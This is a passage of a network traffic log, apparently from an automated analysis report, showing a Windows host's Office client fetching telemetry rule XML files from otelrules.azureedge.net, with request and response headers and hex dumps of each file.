65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49872	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:38 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 62859660-b01e-003d-3dfb-24d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140538Z-15b8d89586fzhrwgk23ex2bvhw00000001r000000000m4se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:38 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 106adab5-b01e-0001-11da-2046e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-16849878b78bkvbz1ry47zvsas00000007sg00000000gv9m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a2099384-101e-008d-760b-2292e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-16849878b78hz7zj8u0h2zng1400000007t000000000pc2z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 0c5aa6f6-c01e-000b-5d92-25e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-16849878b78lhh9t0fb3392enw00000007r0000000009nn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49882	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 654233af-a01e-001e-0b27-2149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-16849878b78dsttbr1qw36rxs800000007w0000000007gm2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 094c1a0f-c01e-0066-77f2-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-15b8d89586f4zwgbz365q03b0c0000000eq0000000000p5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 39b0b4e4-501e-0016-23f2-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140539Z-15b8d89586fdmfsg1u7xrpfws0000000038g00000000g6y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:39 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:39 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 714dabad-d01e-0065-43fc-24b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-r197bdfb6b4h2vctng0a0nubg80000000awg00000000g89f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49885	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:40 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c3694284-101e-0017-53f5-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-15b8d89586fwzdd8urmg0p1ebs000000097000000000k0p9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:40 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:40 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 062c286a-b01e-005c-0c8e-214c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-16849878b78wx8xv81xhtuunw800000000g000000000bu50 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49887	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:40 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: e3c3ecc6-001e-0014-1bf2-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140540Z-r197bdfb6b4kq4j5t834fh90qn0000000b000000000044kd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:40 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
